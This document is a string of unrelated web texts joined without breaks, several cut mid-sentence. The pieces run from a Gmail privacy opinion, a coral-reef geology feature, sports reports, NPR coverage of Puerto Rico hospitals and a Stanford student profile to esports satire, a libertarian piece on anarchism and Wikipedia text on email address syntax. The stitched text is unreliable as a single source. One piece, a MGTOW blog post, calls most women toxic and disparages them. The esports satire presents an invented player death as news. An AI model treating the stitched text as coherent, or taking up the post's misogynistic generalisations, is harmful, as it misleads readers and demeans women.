Also, privacy is a hot button topic, so Microsoft went for it. It's incredibly easy to get people to feel like they're violated on the Internet these days, but in this case, the truth is that an ad-tailoring email algorithm simply doesn't care about the things most would define as an actual invasion of their privacy. I've had a stranger dig through an email account of mine before, and trust me when I say that this isn't even remotely close to that sort of genuinely infuriating invasion of privacy. But that's just an opinion forged from personal experience.
Whatever you feel Google (or Microsoft, or any other email provider, for that matter) might be doing with email data behind the scenes is your call. As for me, I remain a content Gmail user, still puzzled by the fact that email ads even really work, since I never, ever see them. Ever. They're there! But I just don't see them. Kind of like Google and the contents of my emails. *wink*
What are your thoughts? Do you think Google is crossing a line by tailoring email ads? And what of Microsoft's goal with this campaign? Do you think they really care about the privacy of Gmail users, or do you agree with me that they're just shooting for fatter pockets? Get busy in the comments below!Studies of fossil coral reefs exposed at an amusement park in Mexico suggest a rapid rise in sea level some 120,000 years ago, during a warm spell in Earth's history. PHOTO: © KEN GARRETT
Andrea Dutton's hunt for ancient coral reefs has taken her from white sand beaches along the Indian Ocean to wave-beaten cliffs beside the Caribbean. But the geologist's strangest field trip may have come last year, when she spent days at a Mexican amusement park carved from the seaside jungle of the Yucatán Peninsula.
Dutton was not there for the water rides and wild animal exhibits. She had made the trek from her lab at the University of Florida in Gainesville to sample the rocks that the park's builders had cut and exposed: the remains of coral reefs more than 100,000 years old. Dutton was stunned by the star and staghorn corals preserved in the outcrops—including a mosaic of fossils in the walls of an underground room next to a jaguar pen. “It was the most amazing exposure to a reef of that period that I have ever seen, or ever will,” she recalls.
Dutton seeks out |
2016 (31 walks in 20 innings) was not a prospect and we just have to be patient and see how things look in the spring.
Cistulli’s Guy
Selected by Carson Cistulli from any player who received less than a 40 FV.
A second-round pick by the Yankees out of a California high school in 2010, Gumbs was a legitimate prospect for a while, reaching the High-A Florida State League during just his age-20 season. A combination of injury and ineffectiveness, however, compelled New York to release him last winter. The Reds signed him and, at age 23, he played the entire season in the High-A Florida State League.
When a player is forced to repeat a minor-league level, that can represent a developmental warning flag. When he’s forced to fourpeat a level, that indicates that his prospects for future employment have probably become irredeemably obscure. But Gumbs was a much different hitter in 2016. Regard, by way of example, the following table.
Angelo Gumbs, 2011-16 Season Team Age PA K% 2011 Yankees (A-) 18 220 25.9% 2012 Yankees (A) 19 278 21.6% 2013 Yankees (A) 20 218 25.2% 2014 Yankees (A+) 21 354 27.4% 2015 Yankees (A+) 22 202 22.3% 2016 Reds (A+) 23 403 11.9% Includes every level at which Gumbs recorded 200-plus plate appearances.
As part of the Cincinnati system, Gumbs produced the lowest strikeout rate of his career by roughly 10 points in a substantive sample of plate appearances. This sort of improvement is unusual — and, in light of Gumbs’ pedigree and relative youth, notable. He’s confined to a corner-outfield spot and would appear to lack some of the athleticism that rendered him a prospect originally. But his case at least merits attention.
*****
System Overview
This is an excellent system despite a lack of star power up top because it’s extremely deep with a healthy middle class of likely big-league contributors. This club had a good draft and added two of the bigger name international free agents available while stumbling into T.J. Friedl, who fits in snugly in a system with quite a bit of up-the-middle talent. In addition to the three catchers listed above, Jake Turnbull, Pabel Manzanero and Ryan Cassidy-Brown are all potential backups. This system is also full of more plus fastballs than I’ve overviewed here. Dauri Moreta was up to 95 with an average changeup for me during instructs for God’s sake. One of those guys might pop up next year. The Reds will have the chance to add to the top of this list with the draft’s No. 2 overall pick. I expect the top of the draft to be dense with college pitching but Jeren Kendall and Hunter Greene are probably coming off the board up top, as well.ALMOST seven years ago, a letter arrived at the home of Bailey Rice inviting him to spend a day at Carlton as a part of its program for father-son prospects.
He went, met then-coach Brett Ratten, heard from captain Chris Judd and wondered what it would be like to stay there for longer and follow his dad Dean as an AFL player.
"That's when I started to realise what it all meant being a father-son, but I still didn't know much about it and how it worked," Rice said.
Rice, who is aiming to be picked at this year's NAB AFL Draft, had a bit to wrap his head around. Not only is he a father-son prospect, the speedy half-back is a rare case in that he has two clubs he is eligible to join under the rule: St Kilda and Carlton.
Dean played 116 games for the Saints before finishing his career with the Blues in 118 games, including the 1995 premiership win.
Bailey is a lifelong Carlton fan, but a year or two after that initial meeting with the Blues, St Kilda invited him to one of its meetings of future father-son prospects. Earlier this year he spent a week training with the Saints, and soon will begin to go to the club one morning a week to see how it runs.
Although the Saints have shown more interest to this point, the 18-year-old knows he still needs to prove he is good enough before he gets to choose where he ends up.
"I try not to think about it too much. I try to play footy and do the best I can, do everything right and block it out for now," Rice said.
"Dad has spoken a little bit about his career but he keeps to himself, unless I ask him. He's told me to play footy the best you can, enjoy it, to use your strengths and try not to worry about other things."
Rice isn't the only father-son candidate at TAC Cup club the Dandenong Stingrays, with teammate Jake Lovett, an inside midfielder who goes forward, the son of former Melbourne flanker Brett.
Jake has already spent a week training with the Dees, who have given him a fitness program to follow.
Josh Dunkley will create most interest of the father-sons: the Victorian will decide later in the year if he wants to join the Sydney Swans or enter an open draft. It could depend on what the bidding system looks like, and if the club has enough picks to fit him in with academy star Callum Mills if it's changed.
Tom Wallis knows his way around Essendon, where his dad Dean is a premiership player and former assistant coach, while Darcy MacPherson's rehabilitation from a shoulder reconstruction will be monitored by the Western Bulldogs, the club his father Steve represented in 188 games.
There are more players who fit as possible picks ups. Jordan Matera (the son of Peter) will be watched by West Coast throughout the year, while Carlton will also have its eyes on tall forward Jack Silvagni and speedy midfielder Jake Bradley (Craig's son).
Stephen Silvagni, who recently started as Carlton's list manager, has already said he will sit out of any discussions surrounding his son.
The Bombers could add to their rich history of Danihers with key position prospect Harvey Daniher (Chris' son), while developing tall Daniel Rendell, the son of Collingwood recruiter and former Fitzroy ruckman Matt Rendell, is in the Sandringham Dragons' squad and is eligible to join the Brisbane Lions.
Tyler Roos, another father-son for the Lions to watch, will also play for the Dragons again after being overlooked at last year's drafts.
For Rice, the season can't come soon enough. He started his summer with an average beep test and it jolted him into action, enjoying a strong pre-season to get ready for a role in the midfield and back line this year.
The Vic Country squad member is quick, can kick on both feet and marks well, and has even booted a bag of 10 goals at school level. He's ready for what the year holds.
"I'm a bit nervous and excited, but I'm looking forward to it," Rice said.In Puerto Rico, Relying On Luck And Enough Gas To Get Medical Care
Enlarge this image toggle caption Angel Valentin for NPR Angel Valentin for NPR
Julio Alicea's 8-month-old granddaughter Aubrey came down with severe respiratory problems a day after Hurricane Maria pummeled Puerto Rico. "We are very lucky," Alicea says. "The hospital is open and we live nearby." Aubrey's cough turned intense, and when she started vomiting, Alicea says, he rushed her to the hospital at 4 a.m.
She didn't have any respiratory issues before the hurricane, Alicea says, sitting on a blue bench outside San Jorge Children's Hospital in San Juan. His 3-year-old granddaughter Angelica is keeping him company.
A week after Maria, many hospitals are still shut down and the few that are open are operating with just emergency generator power. With a scarcity of fuel, dwindling supplies and disruptions to their employees' lives, hospitals say they are in crisis, laboring to provide care at a time when it's needed most.
toggle caption Angel Valentin for NPR
Maria didn't force San Jorge to close its doors, though the hospital is seeing an increasing number of patients with problems related to Hurricane Maria. "We have seen some broken bones and cuts," says hospital vice president Domingo Cruz Vivaldi, "and then because of the conditions, we have unstable asthma patients, diabetes patients." Residents aren't getting preventive medicine at this time, he says.
In Puerto Rico, doctors' offices and walk-in clinics haven't reopened since the storm. Hospitals and some newly opened mobile clinics are the only places delivering health care.
"It's been a struggle to stay open," says Cruz, because "diesel doesn't come easy to the hospital." Earlier this week, the hospital ran out of diesel, he says, and was without power between 6 p.m. and 2 a.m. With no power, Cruz says the hospital was forced to discharge 40 patients. On Wednesday, the Army Reserve delivered 4,000 gallons of diesel — enough to power emergency generators until Saturday. Cruz says although emergency generators are keeping the hospital running, they are just a backup — and are likely to fail eventually if the hospital isn't reconnected to the power grid soon. The government in Puerto Rico says one of its top priorities is restoring power to the island's hospitals.
toggle caption Angel Valentin for NPR
A loud hum fills the air at the medical center at the University of Puerto Rico, a cluster of about 10 patient and research hospitals. It serves not only Puerto Rico, but the entire Caribbean. After hurricanes Irma and now Maria, the campus has been pushed to the limits.
Maria knocked power off the island's largest public hospital and though it was quickly put back on the grid, it didn't last. "Power was on just a few hours before going down again," spokesman Jesus Velez says. Since then, the hospital is back on emergency generators. Velez is confident that the emergency plan set up for the hurricanes "is working well."
Back at San Jorge Children and Women's Hospital, some employees have been living at the hospital since Hurricane Maria because their homes were destroyed and because of gasoline shortages. The hospital is providing meals to staff. Cruz says that security has also been an issue — gas has been siphoned and stolen from employees' vehicles and stores in the neighborhood have been robbed.
toggle caption Angel Valentin for NPR
Since the storm, Dr. Pedro Escobar says the staff at San Jorge has been mostly able to provide just emergency care. But he's a gynecological oncologist and concerned about his patients, many of whom have had important treatments and surgeries postponed.
"We have hundreds of patients that are either scheduled or they're getting chemo and after that they need to be operated on in four or five weeks," says Escobar. "Otherwise she's going to be [inoperable] and the outcomes are not going to be good."
Asked how he rates the current emergency situation at the hospital, from one to 10, after Hurricane Maria, he says 12, without hesitation.
toggle caption Angel Valentin for NPR
Even before Maria, Puerto Rico's health care system was in trouble. Doctors and health care providers here have long asked Congress to boost Medicare and Medicaid payments to match those in the mainland. But with no power, little running water and a health care system stretched increasingly thin, Cruz says Puerto Rico now faces a humanitarian crisis.
"I have not seen the trucks; I have not seen the help," says Cruz. "We have not felt the presence of the aid on the streets." He says he's extremely worried about Puerto Rico's future:
"If we don't get help, something is going to happen that will be a long-term problem for Puerto Rico. Right now we are dealing with a crisis, so we need Congress and we need the president to step up."
Working with Puerto Rican officials, the federal government has now set up seven mobile clinics to help with trauma care. And the Trump administration says it's dispatching a Navy hospital ship, the USNS Comfort, to the island, due to arrive next week.Hello fellow MGTOWs. Please note that I publish an article two days before my usual Thursday update as I’m flying off for a short break to Spain. Enjoy it and thank you for being here.
Mr Corey Wayne
A lot of you probably heard about this guy. He claims to be a relationship/peak performance-life coach (whatever that means). I have never saw any document confirming that he actually finished any sort of course or studies or official certificate. Probably he is just self-made coach, earning money through YouTube. Fair enough. This only shows that persistence pays back.
I have even read his book – “How to be a 3% man” that claims to teach men how to get the women of their dreams. I won’t go into the details, but it is in a way a good read.
At the end of it, he sums it up:
“The concepts I have taught you from the beginning of this book need to be applied throughout your dating and relationship life. This includes having fun, listening to your lady and really hear what she is saying, always judging her level of interest, continuing to build the anticipation, remaining in your masculine, staying in your center and never letting a woman push you off that center. A relationship is an on-going joy of giving of yourself, and giving to your lady. It also means knowing who you are and what you want out of life, and when to walk away if you are not getting what you need to be happy.”
Which, to make a long story short, means accordingly:
having fun – dating should be fun, laughing, and just being playful – Can’t disagree.
listening to your lady and really hear what she is saying – always listen to what a woman says, not just pretend that you’re listeninig – again, this should be important for both genders and I can’t disagree either- if you go on a date with someone you aren’t interested at all, there’s something wrong with you
always judging her level of interest – that means: don’t date women who aren’t interested in you and notice when a girl interest in you starts to drop – fair enough, albeit it eventually leads to the sad conclusion (which I mention below)
continuing to build the anticipation – she should always be wanting more (of you, time with you, sex with you etc)- however, this isn’t really possible (again, read on)
remaining in your masculine – just “be a man” 😉 don’t be a pussy/mangina-super-pleaser – ok Corey, that’s cool for me
staying in your center – learn what it really means to be confident and strong – he has another point from me
never letting a woman push you off that center – true, you should know how to deal with women – yet another good point
A relationship is an on-going joy of giving of yourself, and giving to your lady – he says that we are most happy when we are giving ourselves away – again, it’s good as long as your partner reciprocates and we all know how it goes…
It also means knowing who you are and what you want out of life – have passions, dreams and follow them – sound advice
and when to walk away if you are not getting what you need to be happy – he finally says, albeit very briefly, that you should leave or walk away when you’re not happy with what your partner offers you – which is of course a reasonable thing to mention
Now, let me be straight with this- Corey is teaching something that is more like a Red Pill knowledge, rather than MGTOW. And more like a very gentle and smooth version of the Red Pill. You won’t read about hypergamy, the wall, blue pill or SMV over there.
He never concentrates on harsh topics, and avoid talking about more controversial topics. However, he knows that in order to get anything out of a relationship from a women you need to concede to her. He just says it in a very polite manner. Now, why I don’t believe his advice is possible to maintain long-term. First of all, he himself is divorced and actually coming from a toxic family (his mother had schizophrenia- he often mentions that on his YT channel) – this means he could learn everything the hard way. This deserves some respect and courage. Of course, he doesn’t have a wife by now. He offers advice for married people but he’s rather against it – that’s his personal view, it’s ok for me.
My main concern is this: in current inter-connected Facebook/Instagram/Twitter world, it is extremely hard to remain mysterious for the women you’re dating for her to remain interested in you. Even if you meet someone through your colleagues (one of the best ways) then your potential girl will be able to ask others about you and who you are. Maybe you might not add her on social media or restrict her on FB. I don’t think there’s any other way to “remain mysterious”.
His advice is sound and it works, in most cases but it won’t work with any unhealthy/toxic women and actually that’s the majority.
When I finished reading his book I was like – okay, that’s all good, as long if one will exclude the parts with (a bit too high for my taste) pampering towards women and that metaphysical twist at the end (saying that we should love with our whole hearts, that our gift in this world is to give back love blah blah blah) it all makes sense. Of course this book might help manginas/white knights to become more masculine but I don’t think this teaches anything more than a gentle sense of masculinity and how to behave around/date women to not look like a complete idiot.
He actually encourages relationships so that’s blue pill for sure, but also states that if you want to have 5 girlfriends, then go for it. That levels the playing field for me. At the end I realized that to create this constant anticipation in any given female, one need to spend a lot of effort, time and money into all this dating.
Personally, I can have some good interesting ideas for let’s say first 4-5 dates. You should sleep with a girl after 2-3 dates. So that’s probably a month or month and a half of dating (good escort is cheaper and easier) After that, my ideas go dry. And it starts to feel like I need to work extra hard and invent something new every time. It might be funny and playful for her for sure but whether I am also having fun knowing that I am trying to raise her interest level is another story. The feeling that I need to entertain her because otherwise she’ll walk away or become bored (and walk away as a result anyway) is cumbersome.
When she fall in love with me then it’s even harder because I won’t even be able to get rid of her without “breaking her heart” and receiving bad gossip later on.
And then you are waking up five years later, being completely complacent to your girlfriend. And the most power over her that you’ll ever feel is when you will be telling her to “stop, there’s a car coming!” on a pedestrian crossing.
And all this for what? A bit of a laughter, pussy and hugging? You guys know that I’ve had my lower days recently, thinking whether I’m missing something by not involving myself in a serious dating for almost two consecutive years. Now I’m still hungry for something new in my life, but I am already not so sure again that this new thing should be a woman.
It’s just too much work, it cost you everything and she just receives, receives, receives and gives away what? Her pussy? It’s not worth it, gentlemen. I’m going my own way instead.
AdvertisementsBEN GAIARIN KNOWS a mean risotto. While many of us are more likely to set the oven on fire or perhaps cut your finger peeling potatoes, Ben spent all of his time pre-Stanford travelling from kitchen to kitchen around the world. Having worked the food scene everywhere from Tuscany to D.C., how did this international chef find himself as a freshman on Stanford’s campus?
Spotting Ben on campus isn’t too hard, though he might be whizzing by on his skateboard when you do. Thick-rimmed glasses, button downs, and khaki shorts are his uniform, and a charming smile completes the look. Classic East Coast style — but he embraces the Californian pleasures of hiking and taking weekend trips to Yosemite. While he’s still toggling back and forth between majors, it seems he’s already made a place for himself here.
The summer before his freshman year, in true Stanford fashion, Ben worked at a private chef start-up in Paris. Itching to get into cooking at Stanford, he created “FoodTalks”, or, as Ben calls it, “the Underground Stanford Dining Society.” Twice throughout the quarter, eight lucky students are invited to a secret location on campus to learn how to prepare an authentic Italian meal. No catch, no cost, just come with an open heart and an empty stomach. What makes Ben’s idea unique is its clandestine nature – no one quite knows who’ll show up to the next rendez-vous or where it’ll be held. To get a golden ticket to a dinner, you need to be invited by someone who previously attended.
So just who shows up to these FoodTalks dinners? Egyptologist post-docs, undergrad semi-professional dancers, Brazilian law students, just to name a few. They start off as strangers, but dinner conversation doesn’t stall and the room remains full of laughter and the aroma of tomato sauce. Here’s what a few of Ben’s guests have to say about the experience:
“WITH THE PROMISE OF A CLEAN KITCHEN, FRESH INGREDIENTS, AND A BUNCH OF TOTAL STRANGERS, ONE CAN’T HELP BUT JOLT INTO THE IMMEDIACY OF THE PRESENT MOMENT. HOW IRONIC THAT I FEEL SO AT HOME AMIDST TOTAL STRANGERS.”
“ENTERING THE ROOM FELT LIKE EMBARKING ON A NEW ADVENTURE. IT WAS ALSO THERAPEUTIC IN A WAY, I FELT LIKE I COULD LEAVE ALL THE THINGS I HAD TO DO AT STANFORD BEHIND.”
Ben allows each guest to take part in preparing the meal, whether that means thinly slicing the parmigiano or taste-testing the pasta sauce. Even for those novices whose closest experience with cooking is DoorDash, Ben’s encouraging smile and hearty laugh make it seem like you, too, can be an authentic Italian chef. “I always try to connect,” Ben says. “Can I do something I like through food, you know? When I created FoodTalks, it was ‘How can I meet as many people as I can while I’m here?’”
What’s in store for the culinary prodigy now? This summer he’s planning on working in Triestre, Italy, with the Innovations team at Illy, the espresso company. Though we won’t be seeing him on Food Network anytime soon, he says his relationship to cooking won’t be changing much. “I see myself making comfort food in my home or other people’s homes; bringing different people together with the excuse of a good meal,” Ben says. Since being at Stanford, Ben has never cooked for himself; all of his time in the kitchens on campus have been spent toward pleasing the palates of other students and bringing Stanford community closer together.Heyoka Profile Blog Joined March 2008 Temple of EE-Sama 22468 Posts Last Edited: 2013-05-08 21:51:55 #1 The Pitchfork Preserver Twitter At The Speed Of Print
Azubu Employee Assures Family, Friends, Company is Definitely-Not-Scam David Campbell, devoted Azubu employee, was seen yesterday gathering his friends and family "just to let them know that Azubu is definitely not a scam". The company, which first began sponsorship of esports leagues and players last year, is "totally real," he assured. The meeting included citing their two business forays with a social media network and streaming platform, which are "absolutely actual things."
When his mother inquired about his duties and responsibilities on a day to day basis, David said his time is largely increasing company synergy, building the brand organically, and managing client relationships. "I'm really busy," he added, "ensuring we are able to grow at this crucial time in our operations."
The assembly concluded with a promise of refreshments, to be revealed at a later date.
Sundance Sends Robot Back In Time To Terminate Event Admin
Following confusion in MLG match times this week, the CEO was reported walking through a luminous ball of pulsating energy with a bionic being discussing taking care of business. Sundance expressed to the media that he is from a time where he "gets it" and that steps need to be taken to prevent 'The Great Reckoning'.
When approached for comment the cyborg declined, saying only that next time he will be available. David Campbell, devoted Azubu employee, was seen yesterday gathering his friends and family "just to let them know that Azubu is definitely not a scam". The company, which first began sponsorship of esports leagues and players last year, is "totally real," he assured. The meeting included citing their two business forays with a social media network and streaming platform, which are "absolutely actual things."When his mother inquired about his duties and responsibilities on a day to day basis, David said his time is largely increasing company synergy, building the brand organically, and managing client relationships. "I'm really busy," he added, "ensuring we are able to grow at this crucial time in our operations."The assembly concluded with a promise of refreshments, to be revealed at a later date.Following confusion in MLG match times this week, the CEO was reported walking through a luminous ball of pulsating energy with a bionic being discussing taking care of business. Sundance expressed to the media that he is from a time where he "gets it" and that steps need to be taken to prevent 'The Great Reckoning'.When approached for comment the cyborg declined, saying only that next time he will be available. HasuObs Victorious After Opponent Dies Of Exhaustion During Nine Day Game The post-game autopsy revealed Bly's heart failed on day five of the marathon game, though HasuObs continued play for four more days until ESL was notified of Bly's passing. 'I thought I just needed a little more time to complete my composition, I'm sorry to hear of my opponent's passing," HasuObs told reporters in a press conference following the match.
Thorzain commented, "I think Hasuobs attacked a little too early and should have built on top of his lead." Empire Destroys Alliance Teamhouse With Giant Laser wrongly implicated in complex ploy.
GomTV Announces Six Flags GSL Following seasons of HOT6 GSL and Mango Six GSL, today GomTV announced they would be partnering with Six Flags for their next event. Representatives of the national amusement chain told fans to look forward to new booth technology allowing competitors to produce and control troops while enjoying stomach-wrenching undulations of the tilt-a-whirl and flagship 'Mega Wedgie' attractions.
At A Glance · Stephano Gives Smug Look While Contemplating Next Shenanigan · Jaedong in Shame Chair After Losing to White Man · Organ Planning ID Change to Harpsichord The post-game autopsy revealed Bly's heart failed on day five of the marathon game, though HasuObs continued play for four more days until ESL was notified of Bly's passing. 'I thought I just needed a little more time to complete my composition, I'm sorry to hear of my opponent's passing," HasuObs told reporters in a press conference following the match.Thorzain commented, "I think Hasuobs attacked a little too early and should have built on top of his lead." Moon wrongly implicated in complex ploy.Following seasons of HOT6 GSL and Mango Six GSL, today GomTV announced they would be partnering with Six Flags for their next event. Representatives of the national amusement chain told fans to look forward to new booth technology allowing competitors to produce and control troops while enjoying stomach-wrenching undulations of the tilt-a-whirl and flagship 'Mega Wedgie' attractions.
This update brought to you by WaxAngel, HawaiianPig, stuchiu, me, and whoever else I stole ideas from
@RealHeyoka | DreamHack Head of StarCraftSubmitted by Mike Krieger of Liberty Blitzkrieg blog,
We’re diverted totally from what this bill is about. Why? Because the anarchists have taken over. They’ve taken over the House and now they’ve taken over the Senate. People who don’t believe in government — and that’s what the Tea Party is all about — are winning, and that’s a shame. - Harry Reid on the Senate Floor earlier today
The best thing about inept, crony, powerful politicians is that when they realize they are losing the battle for the hearts and minds of the public they simply don’t know what to do. Ultimately, this leads to moments of public displays of dementia, such as the one exhibited by Harry Reid on the Senate Floor earlier today. I find it quite interesting that he refers to Congressional Representatives elected by the public as “anarchists” in such a demeaning manner. I suppose it’s only when things go his way that he believes in democracy.
In any event, his display is a total embarrassment and his pathetic ramblings are merely more evidence of “the people’s” recent grassroots political victories. I suppose it’s also anarchic to want to not start World War III, right Harry? Enjoy!
Perhaps the following from the Ludwig von Mises Institute will help claify a few things for Mr. Reid,
Who Are The Real Anarchists?
Few political ideologies are as misunderstood as anarchism. Confusion is so widespread, in fact, that those ignorant of this intellectual tradition often use the word “anarchism” as a synonym for “chaos.” Some of the confusion may arise from the fact that anarchism is today often solely associated with the anti-private-property anarchists of the nineteenth century, such as the followers of Mikhail Bakunin.
Indeed, this variety of anarchism was so dominant through the first half of the twentieth century that Ludwig von Mises, writing in Liberalism, mockingly asked “[c]an it, then, be assumed, without falling completely into absurdity, that, in spite of all this, every individual in an anarchist society will have greater foresight and will power than a gluttonous dyspeptic?”
Writing in 1927, Mises’s experience with anarchists was with those who sought to tear down every form of human institution, from the market to the family to religious groups. Not surprisingly, Mises was somewhat skeptical that a society scraped bare of all tried and true human institutions would enter a phase of utopia.
In the libertarian tradition, however, the anarchist society is merely the society in which individuals are not governed by a state built on monopolized violence and coercion, but instead govern themselves through organizations into which they have entered voluntarily. Among such institutions can certainly be found churches, schools, families, professional associations, markets, and tribes.
Anarchists and others may debate the value of such institutions, but the libertarian anarchist does not by force oppose a person’s membership in any such institution or organization. What is opposed by the anarchist libertarian is the type of civil government known as “the state” which exercises a monopoly on the means of coercion. It is this monopoly, perhaps more than anything else, which characterizes the state, its lack of voluntary association, and its claim of a right to employ unchallenged force over all individuals who just happen to live within a certain geographical area.
Indeed, anarchists do not even necessarily oppose the use of coercion, for certainly a criminal who has stolen from someone else could rightly be forced to pay restitution.
At this point, the student of anarchism will begin to ask himself: “Fair enough, the state is bad, but what would a legal system look like under an anarchic system? How would property owners and employees interact? What would be the role of parents and families?”
Fortunately for us, these are not questions we have suddenly come up with ourselves, but have long been asked by libertarian theorists. And as we begin to look more deeply into the anarchist tradition, we find that it is not new, nor is it undeveloped in its thought.
While we can look back to Étienne de La Boétie to find some early writings on the subject, the nineteenth century produced numerous serious anarchist thinkers from Molinari to Proudhon in Europe and Spooner and Tucker in the United States. These nineteenth-century theorists would eventually be popularized and employed by Murray Rothbard in what has come to be known as anarcho-capitalism, the anarchist tradition of private property and free association.
To offer a truly detailed exploration of the answers offered to these questions, David Gordon will next week offer a new course through Mises Academy on the history of anarchist thought, and will examine for six weeks the intellectual tradition of anarchism, and the tradition’s importance to the political debate today.
Indeed, anarchism’s importance in the political realm is perhaps greater than ever, and its continued relevance again came to the fore in May when Kelefa Sanneh, writing in The New Yorker, discussed the influence of anti-capitalist anarchist David Graeber who has become prominent in the Occupy Wall Street Movement. In his article, however, Sanneh, could not ignore Murray Rothbard, whom Sanneh describes as “one anarchist who could be considered influential in Washington” and as “Ron Paul’s intellectual mentor, which makes him the godfather of the godfather of the Tea Party.”
One can certainly debate Rothbard’s anarchist influence among Tea Partiers themselves, but the importance of Rothbard’s anarcho-capitalist thought within the larger libertarian movement is noteworthy.
And yet this divide between the pro-private-property anarchists like Rothbard, and the anti-property-anarchists of David Graeber’s school continues to cause confusion about what anarchism is.
Writing in the upcoming September issue of The Free Market, David Gordon notes:
Graeber does not agree that if we got rid of the state, people would live under free enterprise capitalism. He follows Karl Polanyi’s contention in his book The Great Transformation (1944) that the free market depends on a rigid framework of laws and institutions to force people into the behavior that the capitalist system requires. In particular, Graeber thinks that capitalism is based on debt peonage and slavery and views debt cancellation favorably.
If some anarchists believe that the free market cannot exist without the state, and others believe that the state is the great enemy of free markets, then what is anarchism?
If all anarchists truly are united by opposition to a coercive state, then perhaps the question is irrelevant. For as libertarian anarchists know, a stateless society is likely to naturally produce widespread, complex, and successful markets. The anti-capitalist anarchists will simply be proven wrong, although they might perhaps be thanked for their service in opposing the state.Fire get first win, show signs of improvement
hello
It's one thing to hope the Chicago Fire is an improved team, it's another thing to see evidence.
The Fire found reason to believe not only in Saturday's 1-0 victory against the Philadelphia Union at Toyota Park but in how it closed out the win.
"It means a lot for me and for this locker room who works very hard. Winning this game gave us more confidence now and we believe that we are on a good path," first-year coach Veljko Paunovic said after his first MLS win. "...It's always very, very important to have proof, and that proof is results, winning games."
A year ago the Fire (1-1-2, 5 points) would have found a way to squander a 1-0 second-half lead, even with a man advantage and the wind at its back. Not this time, and that's a very good sign.
So is a second shutout in four games. After giving up 4 goals in the season opener, the Fire has allowed just 1 in the three games since.
"This year is very different for us because we have a new coach, new leaders, everything is new," midfielder Kennedy Igboananike, who scored the goal, said. "I just don't want to talk about last year because it's in the past. We have to focus on this year. Whatever happened last year we're just going to correct it this year."
It's a sentiment midfielder Michael Stephens echoed.
"For us that were here last year, it obviously crosses your mind," the Naperville native said. "I mean, they did have chances. They were just lumping some balls into our box and the wind made it difficult to clear some of those balls. It definitely crossed my mind, like, oh, (shoot), let's not have that happen again. But we were good. We bent throughout the game but we never broke and gave up that goal. Another clean sheet and our first 3 points, which is awesome."
On a cold, blustery day, the Fire caught the break it needed in the 47th minute when Philadelphia's Warren Creavalle was red-carded for a tackle on Fire midfielder Razvan Cocis. Four minutes later, Igboananike took a pass from left back Michael Harrington in the Union penalty area, turned and scored his second goal of the season.
"I think if you look in general, even last game when we had the 0-0 draw (vs. Columbus), defensively we were pretty tough," Stephens added. "We're stronger in our own 18 as far as winning challenges and clearing balls out, just being a little grittier. Now we just need to clean up some of the other things as far as being a little smarter when we go up a man, doing better as far as keeping the ball and also adding to our lead there. We should get a second goal there and kill that game."
The Fire still has a long way to go to become a playoff-caliber team, even in the weak Eastern Conference, but at least there's a glimmer of hope.
Follow Orrin on Twitter @Orrin_SchwarzUK’s First Tram-Train Project Coming Along — New Wheel Profile Ready For Approval Process
October 8th, 2013 by James Ayre
The new wheel profile will now be tested by both the SST project team, and the Rail Safety and Standards Board (RSSB). If approved for running on the mainline, the Tram-Train test running in the UK will begin shortly thereafter.
For those unfamiliar with the concept — simply put, the Tram-Train concept allows a railway vehicle to run in two distinct and continuous operational modes/environments, serving both relatively dense city centers as an on-street tram, and areas further from the city as a commuter train. Needless to say, the concept has some |
and to ; digits 0 to 9, provided that top-level domain names are not all-numeric;
to, provided that top-level domain names are not all-numeric; hyphen -, provided that it is not the first or last character.
This rule is known as the LDH rule (letters, digits, hyphen). In addition, the domain may be an IP address literal, surrounded by square brackets [], such as jsmith@[192.168.2.1] or jsmith@[IPv6:2001:db8::1], although this is rarely seen except in email spam. Internationalized domain names (which are encoded to comply with the requirements for a hostname) allow for presentation of non-ASCII domains. In mail systems compliant with RFC 6531 and RFC 6532 an email address may be encoded as UTF-8, both a local-part as well as a domain name.
Comments are allowed in the domain as well as in the local-part; for example, john.smith@(comment)example.com and [email protected](comment) are equivalent to [email protected].
Examples [ edit ]
Valid email addresses [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] (may go to [email protected] inbox depending on mail server) [email protected] (one-letter local-part) [email protected] admin@mailserver1 (local domain name with no TLD, although ICANN highly discourages dotless email addresses) [email protected] (see the List of Internet top-level domains) " "@example.org (space between the quotes) "john..doe"@example.org (quoted double dot)
Invalid email addresses Abc.example.com (no @ character) A@b@[email protected] (only one @ is allowed outside quotation marks) a"b(c)d,e:f;g<h>i[j\k][email protected] (none of the special characters in this local-part are allowed outside quotation marks) just"not"[email protected] (quoted strings must be dot separated or the only element making up the local-part) this is"not\[email protected] (spaces, quotes, and backslashes may only exist when within quoted strings and preceded by a backslash) this\ still\"not\\[email protected] (even if escaped (preceded by a backslash), spaces, quotes, and backslashes must still be contained by quotes) 1234567890123456789012345678901234567890123456789012345678901234+x@example.com (local part is longer than 64 characters)
Common local-part semantics [ edit ]
According to RFC 5321 2.3.11 Mailbox and Address, "...the local-part MUST be interpreted and assigned semantics only by the host specified in the domain of the address." This means that no assumptions can be made about the meaning of the local-part of another mail server. It is entirely up to the configuration of the mail server.
Local-part normalization [ edit ]
Interpretation of the local part of an email address is dependent on the conventions and policies implemented in the mail server. For example, case sensitivity may distinguish mailboxes differing only in capitalization of characters of the local-part, although this is not very common.[11] Gmail ignores all dots in the local-part for the purposes of determining account identity.[12] This prevents the creation of user accounts your.user.name or yourusername when the account your.username already exists.
Subaddressing [ edit ]
Some mail services support a tag included in the local-part, such that the address is an alias to a prefix of the local part. For example, the address [email protected] denotes the same delivery address as [email protected]. RFC 5233[13], refers to this convention as sub-addressing, but it is also known as plus addressing or tagged addressing.
Addresses of this form, using various separators between the base name and the tag, are supported by several email services, including Runbox (plus), Gmail (plus),[14] Rackspace Email (plus), Yahoo! Mail Plus (hyphen),[15] Apple's iCloud (plus), Outlook.com (plus),[16] ProtonMail (plus),[17] FastMail (plus and Subdomain Addressing),[18] MMDF (equals), Qmail and Courier Mail Server (hyphen).[19][20] Postfix allows configuring an arbitrary separator from the legal character set.[21]
The text of the tag may be used to apply filtering,[19] or to create single-use, or disposable email addresses.[22]
In practice, the form validation of some web sites may reject special characters such as "+" in an email address – treating them, incorrectly, as invalid characters. This can lead to an incorrect user receiving an e-mail if the "+" is silently stripped by a website without any warning or error messages. For example, an email intended for the user-entered email address [email protected] could be incorrectly sent to [email protected]. In other cases a poor user experience can occur if some parts of a site, such as a user registration page, allow the "+" character whilst other parts, such as a page for unsubscribing from a site's mailing list, do not.
Validation and verification [ edit ]
